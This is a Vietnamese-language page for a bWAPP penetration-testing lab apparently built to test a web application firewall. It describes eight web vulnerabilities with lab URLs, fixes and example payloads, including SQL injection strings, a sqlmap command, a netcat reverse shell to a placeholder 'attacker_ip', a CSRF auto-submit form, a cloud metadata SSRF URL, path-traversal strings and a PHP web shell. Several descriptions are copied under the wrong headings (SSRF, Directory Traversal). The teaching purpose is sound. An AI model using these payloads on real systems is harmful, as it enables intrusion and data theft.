bWAPP Logo

BWAPP - Penetration Testing Lab

• Dành cho mục đích thử nghiệm Web Application Firewall

1. SQL Injection

Mô tả ngắn gọn

SQL Injection (SQLi) xảy ra khi ứng dụng chèn trực tiếp dữ liệu chưa được kiểm duyệt (sanitize) từ người dùng vào câu lệnh truy vấn SQL. Trong các môi trường như bWAPP, lỗi này xuất hiện do hệ thống chạy query trực tiếp thay vì dùng prepared statements.

Cách thức hoạt động

Kẻ tấn công chèn các ký tự điều khiển cú pháp SQL (như ', ;, OR, UNION) vào ô nhập liệu hoặc URL. Trình quản trị cơ sở dữ liệu (DBMS) hiểu nhầm dữ liệu này là lệnh thực thi, làm thay đổi logic truy vấn ban đầu.

Hậu quả chính

Vượt qua đăng nhập: Truy cập tài khoản bất kỳ (kể cả Admin) không cần mật khẩu. Rò rỉ dữ liệu: Trích xuất trái phép toàn bộ thông tin nhạy cảm trong database. Phá hoại dữ liệu: Xóa bảng (DROP TABLE) hoặc sửa đổi thông tin bất hợp pháp. Chiếm quyền máy chủ (RCE): Thực thi lệnh trực tiếp trên hệ điều hành qua cấu hình DBMS lỏng lẻo.

Link test

http://nowaf.sec.io.vn/sqli_1.php

Link có WAF

http://waf.id.vn/sqli_1.php

Quy trình khai thác

  • Xác định: Thử ', admin' OR '1'='1' --
  • Payload: bee' UNION SELECT login, password FROM users --
  • SQLMap: sqlmap -u "http://target/...title=bee" --dbs

Phân tích kết quả

Dump database, bypass login, extract credentials.

Khắc phục

// Code lỗi
$query = "SELECT * FROM movies WHERE title = '$title'";

// Code an toàn
$stmt = $mysqli->prepare("SELECT * FROM movies WHERE title = ?");
$stmt->bind_param("s", $title);

2. OS Command Injection

Mô tả ngắn gọn

OS Command Injection xảy ra khi ứng dụng truyền trực tiếp dữ liệu chưa kiểm duyệt (sanitize) từ người dùng vào các câu lệnh hệ thống (như ping, nslookup) để thực thi trong shell.

Cách thức hoạt động

Kẻ tấn công chèn các ký tự nối lệnh đặc biệt (như ;, &&, |) cùng mã độc vào ô nhập liệu. Khi ứng dụng chạy lệnh gốc, hệ điều hành sẽ thực thi đồng thời cả lệnh độc hại được chèn thêm.

Hậu quả chính

Mất quyền kiểm soát: Thực thi lệnh tùy ý, chiếm quyền điều khiển toàn bộ máy chủ. Rò rỉ dữ liệu: Đọc, sao chép hoặc xóa bỏ tệp tin hệ thống, mã nguồn và database. Tấn công leo thang: Dùng máy chủ bị chiếm làm bàn đạp tấn công sâu vào mạng nội bộ.

Link test

http://nowaf.sec.io.vn/commandi.php

Link có WAF

http://waf.id.vn/commandi.php

Payload ví dụ

127.0.0.1; whoami
                    127.0.0.1; cat /etc/passwd
                    127.0.0.1 | nc -e /bin/sh attacker_ip 4444

Khắc phục

escapeshellarg($target);
w                   hitelist input

3. XSS (Reflected / Stored)

Mô tả ngắn gọn

XSS (Cross-Site Scripting) là lỗ hổng bảo mật xảy ra khi ứng dụng web chèn các đoạn mã độc (thường là JavaScript) do kẻ tấn công cung cấp vào trang web và gửi tới trình duyệt của người dùng khác mà không qua kiểm duyệt.

Cách thức hoạt động

Kẻ tấn công đưa mã độc vào các phần như ô bình luận, thanh tìm kiếm hoặc URL. Khi người dùng khác truy cập hoặc tải trang web này, trình duyệt của họ sẽ tự động thực thi đoạn mã độc đó vì tin tưởng rằng nó đến từ một nguồn an toàn.

Hậu quả chính

Chiếm đoạt tài khoản: Kẻ tấn công đánh cắp cookie, session token để giả mạo danh tính và đăng nhập vào tài khoản của nạn nhân.
Thay đổi giao diện (Defacement): Sửa đổi nội dung hiển thị của trang web để lừa đảo hoặc chèn các biểu mẫu đăng nhập giả nhằm chiếm đoạt mật khẩu (Phishing).
Phát tán mã độc: Biến trình duyệt của nạn nhân thành công cụ đào tiền ảo, hoặc tự động gửi các liên kết độc hại để lây lan sang những người dùng khác. Inject JavaScript vào output HTML do không escape input.

Link test

http://nowaf.sec.io.vn/xss_get.php

Link có WAF

http://waf.id.vn/xss_get.php

<script>alert(document.cookie)</script>

Khắc phục

htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

4. CSRF

Mô tả ngắn gọn

CSRF (Cross-Site Request Forgery) là lỗ hổng bảo mật đánh lừa trình duyệt của người dùng, khiến họ vô tình thực hiện các hành động độc hại trên một trang web mà họ đã đăng nhập. Không có anti-CSRF token cho các request thay đổi trạng thái.

Cách thức hoạt động

Trình duyệt tự động gửi thông tin xác thực (như cookie, session) kèm theo mọi yêu cầu tới trang web đích. Kẻ tấn công lợi dụng điều này bằng cách dụ bạn bấm vào một liên kết hoặc truy cập một trang web chứa mã độc, từ đó gửi đi các yêu cầu trái phép nhân danh bạn.

Hậu quả chính:

Thao túng tài khoản: Kẻ tấn công có thể thay đổi mật khẩu hoặc email của nạn nhân, dẫn đến việc mất quyền kiểm soát tài khoản.
Chuyển tiền trái phép: Thực hiện các giao dịch chuyển tiền, thanh toán từ tài khoản ngân hàng hoặc ví điện tử của nạn nhân.
Rò rỉ/Sửa đổi dữ liệu: Đánh cắp thông tin cá nhân, gửi tin nhắn rác, hoặc sửa đổi dữ liệu trên hồ sơ người dùng mà chủ tài khoản không hề hay biết.

<form action="http://nowaf.sec.io.vn/csrf_1.php" method="POST">
                    <input name="password_new" value="hacked">
                    </form><script>document.forms[0].submit();</script>

5. SSRF

Mô tả ngắn gọn

XSS (Cross-Site Scripting) là lỗ hổng bảo mật xảy ra khi ứng dụng web chèn các đoạn mã độc (thường là JavaScript) do kẻ tấn công cung cấp vào trang web và gửi tới trình duyệt của người dùng khác mà không qua kiểm duyệt.

Cách thức hoạt động:

Kẻ tấn công đưa mã độc vào các phần như ô bình luận, thanh tìm kiếm hoặc URL. Khi người dùng khác truy cập hoặc tải trang web này, trình duyệt của họ sẽ tự động thực thi đoạn mã độc đó vì tin tưởng rằng nó đến từ một nguồn an toàn.

Hậu quả chính:

Chiếm đoạt tài khoản: Kẻ tấn công đánh cắp cookie, session token để giả mạo danh tính và đăng nhập vào tài khoản của nạn nhân.Thay đổi giao diện (Defacement): Sửa đổi nội dung hiển thị của trang web để lừa đảo hoặc chèn các biểu mẫu đăng nhập giả nhằm chiếm đoạt mật khẩu (Phishing).Phát tán mã độc: Biến trình duyệt của nạn nhân thành công cụ đào tiền ảo, hoặc tự động gửi các liên kết độc hại để lây lan sang những người dùng khác. Server fetch URL do user cung cấp mà không validate.

http://127.0.0.1/admin - http://169.254.169.254/latest/meta-data/

6. Directory Traversal

Mô tả ngắn gọn

Unrestricted File Upload (Tải tệp lên không giới hạn) là lỗ hổng bảo mật xảy ra khi ứng dụng web cho phép người dùng tải tệp lên máy chủ mà không kiểm tra đầy đủ về loại tệp, kích thước, hoặc nội dung của tệp đó.

Cách thức hoạt động:

Kẻ tấn công sẽ tải lên một tệp chứa mã độc (thường là mã nguồn phía máy chủ như .php, .jsp, .asp). Sau khi tệp được lưu thành công trên máy chủ, kẻ tấn công sẽ truy cập trực tiếp vào đường dẫn của tệp đó qua trình duyệt để kích hoạt và thực thi đoạn mã độc đã chèn.

Hậu quả chính:

Thực thi mã từ xa (RCE): Đây là hậu quả nguy hiểm nhất. Kẻ tấn công có thể chạy các lệnh hệ điều hành thông qua tệp mã độc (web shell), từ đó kiểm soát hoàn toàn máy chủ.Tấn công từ chối dịch vụ (DoS): Tải lên các tệp có kích thước cực lớn để làm cạn kiệt dung lượng đĩa cứng hoặc băng thông của máy chủ, khiến hệ thống bị sập.Thay đổi giao diện và lừa đảo: Tải lên các tệp .html giả mạo để thay đổi nội dung trang web (Defacement) hoặc tạo trang lừa đảo (Phishing) trực tiếp trên tên miền của nạn nhân.Phát tán mã độc (XSS): Tải lên các tệp chứa mã JavaScript độc hại (như .svg hoặc .html) để tấn công những người dùng khác khi họ xem hoặc tải tệp này về. Directory Traversal (hay Path Traversal) là lỗ hổng bảo mật cho phép kẻ tấn công đọc được các tệp tin tùy ý trên máy chủ đang chạy ứng dụng web.Cách thức hoạt độngKẻ tấn công thao túng các tham số đầu vào dùng để tham chiếu đến tệp tin (như tên file hoặc đường dẫn). Bằng cách chèn các ký tự điều hướng thư mục như ../ (chấm chấm xuyệt), họ có thể thoát ra khỏi thư mục gốc của ứng dụng (web root) để truy cập thẳng vào hệ thống tệp tin của hệ điều hành.Hậu quả chínhLộ thông tin cấu hình: Kẻ tấn công có thể đọc các tệp tin chứa mã nguồn ứng dụng, thông tin kết nối cơ sở dữ liệu (credentials), hoặc các tệp cấu hình hệ thống nhạy cảm (ví dụ: /etc/passwd trên Linux).Đánh cắp dữ liệu ứng dụng: Truy cập trực tiếp để tải về nhật ký hệ thống (logs), dữ liệu người dùng, hoặc các tài liệu mật được lưu trên máy chủ.Leo thang thành lỗi RCE: Nếu kết hợp được với các lỗ hổng khác (như File Upload), kẻ tấn công có thể đọc các tệp tin chứa mã độc vừa tải lên để ép hệ thống thực thi lệnh từ xa. Input file path không được sanitize, cho phép ../

../../etc/passwd..%2F..%2Fetc%2Fpasswd

7. Unrestricted File Upload

Mô tả ngắn gọn

Unrestricted File Upload (Tải tệp lên không giới hạn) là lỗ hổng bảo mật xảy ra khi ứng dụng web cho phép người dùng tải tệp lên máy chủ mà không kiểm tra đầy đủ về loại tệp, kích thước, hoặc nội dung của tệp đó.

Cách thức hoạt động:

Kẻ tấn công sẽ tải lên một tệp chứa mã độc (thường là mã nguồn phía máy chủ như .php, .jsp, .asp). Sau khi tệp được lưu thành công trên máy chủ, kẻ tấn công sẽ truy cập trực tiếp vào đường dẫn của tệp đó qua trình duyệt để kích hoạt và thực thi đoạn mã độc đã chèn.

Hậu quả chính:

Thực thi mã từ xa (RCE): Đây là hậu quả nguy hiểm nhất. Kẻ tấn công có thể chạy các lệnh hệ điều hành thông qua tệp mã độc (web shell), từ đó kiểm soát hoàn toàn máy chủ.Tấn công từ chối dịch vụ (DoS): Tải lên các tệp có kích thước cực lớn để làm cạn kiệt dung lượng đĩa cứng hoặc băng thông của máy chủ, khiến hệ thống bị sập.Thay đổi giao diện và lừa đảo: Tải lên các tệp .html giả mạo để thay đổi nội dung trang web (Defacement) hoặc tạo trang lừa đảo (Phishing) trực tiếp trên tên miền của nạn nhân.Phát tán mã độc (XSS): Tải lên các tệp chứa mã JavaScript độc hại (như .svg hoặc .html) để tấn công những người dùng khác khi họ xem hoặc tải tệp này về. Không kiểm tra loại file khi upload.

<?php system($_GET['cmd']); ?>  // shell.php

8. Bypass Cơ Chế Đăng Nhập

Mô tả ngắn gọn

Bypass Cơ Chế Đăng Nhập (Vượt qua xác thực) là hành động khai thác các lỗ hổng bảo mật hoặc lỗi logic trong ứng dụng web để truy cập vào tài khoản người dùng hoặc khu vực quản trị mà không cần cung cấp thông tin đăng nhập hợp lệ (như tên đăng nhập và mật khẩu).

Cách thức họat động:

Các kỹ thuật khai thác phổ biếnSQL Injection (SQLi): Chèn các ký tự đặc biệt vào ô nhập liệu (ví dụ: ' OR '1'='1) để làm thay đổi logic câu lệnh truy vấn cơ sở dữ liệu, khiến hệ thống luôn trả về kết quả đúng và cho phép đăng nhập thành công.Lỗi logic nghiệp vụ (Business Logic Flaws): Khai thác các sai sót trong quy trình xử lý của mã nguồn, ví dụ như thay đổi tham số user_id trong yêu cầu (request) gửi đi hoặc bỏ qua bước nhập mã OTP bằng cách truy cập trực tiếp vào URL của trang đích.Thao túng Token/Session: Đánh cắp, đoán trước hoặc giả mạo các chuỗi mã định danh phiên làm việc (Session ID, JWT Token) để mạo danh người dùng đã đăng nhập.Tấn công vét cạn (Brute Force/Credential Stuffing): Sử dụng các công cụ tự động để thử hàng loạt mật khẩu phổ biến hoặc danh sách tài khoản bị rò rỉ từ trước do ứng dụng không giới hạn số lần đăng nhập sai (Rate Limiting).

Hậu quả chính:

Chiếm đoạt tài khoản: Kẻ tấn công truy cập trái phép vào tài khoản của bất kỳ người dùng nào, bao gồm cả tài khoản của quản trị viên (Admin).Rò rỉ và phá hoại dữ liệu: Đọc, sửa đổi hoặc xóa sạch các thông tin nhạy cảm, cơ sở dữ liệu khách hàng và cấu hình hệ thống.Mất uy tín thương hiệu: Gây thiệt hại nghiêm trọng đến lòng tin của người dùng và có thể đối mặt với các án phạt pháp lý do vi phạm quy định bảo mật dữ liệu. Thường kết hợp SQL Injection trong form login.

admin' OR '1'='1' --